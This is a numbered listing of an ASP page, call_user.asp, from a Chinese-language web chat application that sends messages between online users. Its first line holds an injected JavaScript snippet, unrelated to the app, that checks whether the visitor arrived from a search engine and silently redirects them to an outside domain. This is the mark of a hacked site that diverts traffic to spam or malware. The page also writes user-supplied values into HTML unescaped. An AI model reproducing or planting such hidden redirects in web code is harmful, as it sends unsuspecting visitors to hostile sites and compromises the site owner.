d:\wwwroot\wuchunhua\qq\call_user.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
002:
Response.Expires=0
003:
004:
'字符串处理函数
005:
Function FormatStr(str)
006:
'将,和|两个字符进行替换
007:
',被用来分割用户各个信息
008:
'|被用来分割不同用户的信息
009:
str=replace(str,",",",")
010:
FormatStr=replace(str,"|","|")
011:
End Function
012:
013:
If Request.querystring("mode")="" Then
014:
'变量定义
015:
Dim accept_id,accept_name,accept_email,user_forms,i
016:
017:
'如果Request对象中user_id字段为为空
018:
If Request("user_id")="" Then
019:
'提示用户出错
020:
Response.Write "超链接出现错误"
021:
022:
'终止响应
023:
Response.End
024:
End If
025:
026:
'获得发送消息对象的ID号
027:
'并对用户ID号进行字符串处理
028:
accept_id=Request("user_id")
029:
accept_id=FormatStr(accept_id)
030:
031:
'获得Application对象中的在线用户信息记录
032:
users=Application("Users")
033:
034:
'用户信息记录在字符串中的位置
035:
i=instr(users,"|" & accept_id & ",")
036:
037:
'如果i小于1
038:
If i<1 Then
039:
'向页面输出javascript代码
040:
'提示用户不在线
041:
Response.Write "<script language=""javascript"">"
042:
Response.Write "alert('该用户不在线');"
043:
Response.Write "window.close();"
044:
Response.Write "</script>"
045:
Response.End
046:
End If
047:
048:
'取得用户信息记录
049:
users=mid(users,i)
050:
051:
'使用|字符对users变量进行分割成各个用户的信息记录
052:
'保存到数组变量中
053:
user_temp=split(users,"|")
054:
'对第一个用户的信息记录进行处理
055:
'使用,字符将用户的信息记录分割成各个部分
056:
userDataArray=split(user_temp(1),",")
057:
058:
'获得用户信息
059:
accept_name=userDataArray(1)
060:
accept_email=userDataArray(3)
061:
%
>
062:
<SCRIPT ID=clientEventHAndlersVBS LANGUAGE=vbscript>
063:
<!--
064:
'键盘输入响应函数
065:
Sub myDoc_onkeypress
066:
'如果是回车符
067:
If self.event.keyCode = 10 Then
068:
'发送的信息不能超过100个字符
069:
If len(myform.message.value)>100 Then
070:
alert("发送的消息不能超过一百个字符")
071:
myform.message.foucs()
072:
Else
073:
'使用指定的参数刷新该页面
074:
self.location.href="call_user.asp?mode=doit&user_id=" & myform.user_id.value & "&message=" & myform.message.value
075:
window.blur()
076:
End If
077:
End If
078:
End Sub
079:
-->
080:
</script>
081:
<script language="javascript">
082:
<!--
083:
var flags=0;
084:
var flags1=0;
085:
086:
//使聊天记录窗口显示在屏幕上
087:
//并调整显示属性
088:
function bigwindow()
089:
{
090:
if(flags==0)
091:
{
092:
window.resizeTo(window.document.body.offsetWidth+6,window.document.body.offsetHeight + 200);
093:
hiddwindow.style.display="block";
094:
if(flags1==0)
095:
{
096:
list_history.location.href="list_history.asp?accept_id=
<%
=Formatstr(session("id"))
%
>&send_id=
<%
=accept_id
%
>";
097:
flags1=1;
098:
}
099:
flags=1;
100:
}
101:
else
102:
{
103:
window.resizeTo(window.document.body.offsetWidth+6,window.document.body.offsetHeight - 150);
104:
hiddwindow.style.display="none";
105:
flags=0;
106:
}
107:
}
108:
109:
function issubmit()
110:
{
111:
var strs=myform.message.value;
112:
if(strs.length>100)
113:
{
114:
alert("发送的消息不能超过一百个字符");
115:
return "false";
116:
}
117:
else
118:
return "True";
119:
}
120:
-->
121:
</script>
122:
<body topmargin="0" leftmargin="0" oncontextmenu="self.event.returnValue=false" ID="myDoc">
123:
<div align="center">
124:
<center>
125:
<form action="call_user.asp?mode=doit" method="post" name="myform" Onsubmit="javascript:if(myform.message.value.length>100) {alert('发送的消息不能超过一百个字符');return false;}">
126:
<input type="hidden" name="user_id" value="
<%
=accept_id
%
>">
127:
<table border="1" width="338" height="165" cellspacing="0" cellpadding="0">
128:
<tr>
129:
<td width="334" height="159" valign="top">
130:
<table border="1" width="100%" height="155">
131:
<tr>
132:
<td width="10%" height="16"><font size="2">网名</font></td>
133:
<td width="35%" height="16" style="font-size: 10pt">
<%
=accept_name
%
></td>
134:
<td width="12%" height="16"><font size="2">Email</font></td>
135:
<td width="43%" height="16" style="font-size: 10pt">
<%
=accept_email
%
></td>
136:
</tr>
137:
<tr>
138:
<td width="100%" height="105" colspan="4" valign="top" ><textarea rows="6" name="message" cols="43" maxlenth="100" wrap="hard"></textarea></td>
139:
</tr>
140:
<tr>
141:
<td width="100%" height="16" colspan="4">
142:
<table border="0" width="100%" cellspacing="0" cellpadding="0">
143:
<tr>
144:
<td width="25%"><button Onclick="javascript:bigwindow();">聊天记录</button></td>
145:
<td width="25%"></td>
146:
<td width="25%"><input type="button" value="关闭窗口" Onclick="javascript:window.close();"></td>
147:
<td width="25%"><input type="submit" value="发送消息" name="B3" Onclick="javascript:window.blur()"></td>
148:
</tr>
149:
150:
</table>
151:
</td>
152:
</tr>
153:
<tr>
154:
<td width="100%" height="25" colspan="4" align=center bgcolor="#006699"><font size=2 color="white">
155:
</font></td>
156:
</tr>
157:
</table>
158:
</td>
159:
</tr>
160:
</table>
161:
</form>
162:
</center>
163:
</div>
164:
<%
165:
'显示聊天记录的窗口,初始时设置为隐藏
166:
%
>
167:
<table border="0" width="338" height="165" cellspacing="0" cellpadding="0" id="hiddwindow">
168:
<tr>
169:
<td>
170:
<IFRAME border=0 frameBorder=0 frameSpacing=0 noResize src="about:blank" width="100%" height="96%" name="list_history"></IFRAME>
171:
</td>
172:
</tr>
173:
</table>
174:
<script language="javascript">
175:
hiddwindow.style.display="none"
176:
</script>
177:
<%
178:
End If
179:
180:
Dim errs,back_messages
181:
182:
'发送消息操作
183:
If Request.querystring("mode")="doit" Then
184:
'开启客户端的buffer
185:
Response.buffer=True
186:
187:
'如果Request对象中Message变量和user_id变量都不为空
188:
'进行消息发送操作
189:
If trim(Request("Message"))<>"" And trim(Request("user_id"))<>"" Then
190:
'对字符串进行替换处理
191:
user_id=FormatStr(trim(Request("user_id")))
192:
Message=FormatStr(left(trim(Request("message")),100))
193:
user_id=cstr(user_id)
194:
195:
'flag标记初始化为0
196:
flag=0
197:
198:
'使用|字符将Application中的Users变量分割成各个用户的信息记录
199:
users=split(Application("Users"),"|")
200:
201:
'循环处理每个用户的信息记录
202:
For i=1 To ubound(users)
203:
'使用,字符将用户信息记录分割成各个部分
204:
temp=split(users(i),",")
205:
206:
'如果有与user_id相等的ID值
207:
'说明用户在线
208:
If cstr(temp(0))=user_id Then
209:
'将标志置为1
210:
flag=1
211:
212:
'跳出循环
213:
Exit For
214:
End If
215:
Next
216:
217:
'标志为1,说明用户在线
218:
If flag=1 Then
219:
Dim sEnd_message
220:
221:
'用户发送的消息记录
222:
sEnd_message=user_id & "," & FormatStr(session("id")) & "," & message
223:
sEnd_message= sEnd_message & "," & now() & "," & FormatStr(session("id"))
224:
225:
'Application加锁
226:
Application.Lock
227:
228:
'将消息加入到全局消息记录
229:
Application("Messages")=Application("Messages") & "|" & sEnd_message
230:
231:
'如果Application中的备份消息记录将超过1500字符
232:
If (len(Application("back_messages"))+len(sEnd_message))>=1500 Then
233:
'获得back_messages变量
234:
back_messages=Application("back_messages")
235:
236:
'清空back_messages变量,并设置为新的消息的值
237:
Application("back_messages")="|" & sEnd_message
238:
Else
239:
'将要发送的消息附加到Application中的备份消息记录
240:
Application("back_messages")=Application("back_messages") & "|" & sEnd_message
241:
End If
242:
243:
'Application解锁
244:
Application.Unlock
245:
Else
246:
'标志为0,说明用户不在线
247:
flag=0
248:
249:
'错误消息
250:
errs="对不起,该用户不在线"
251:
End If
252:
Else
253:
flag=0
254:
255:
'错误消息
256:
errs="传送ID和传送信息不能为空"
257:
End If
258:
259:
'向页面输出javascript代码
260:
Response.Write "<script language=""javascript"">"
261:
262:
'标志为1,说明消息已经成功发送
263:
If flag=1 Then
264:
Response.Write "alert('消息已经成功发送');"
265:
Else
266:
'否则,提示用户发生错误
267:
Response.Write "alert('" & errs & "');"
268:
End If
269:
270:
'完成页面输出
271:
Response.Write "window.close();"
272:
Response.Write "</script>"
273:
End If
274:
%
>
275:
276: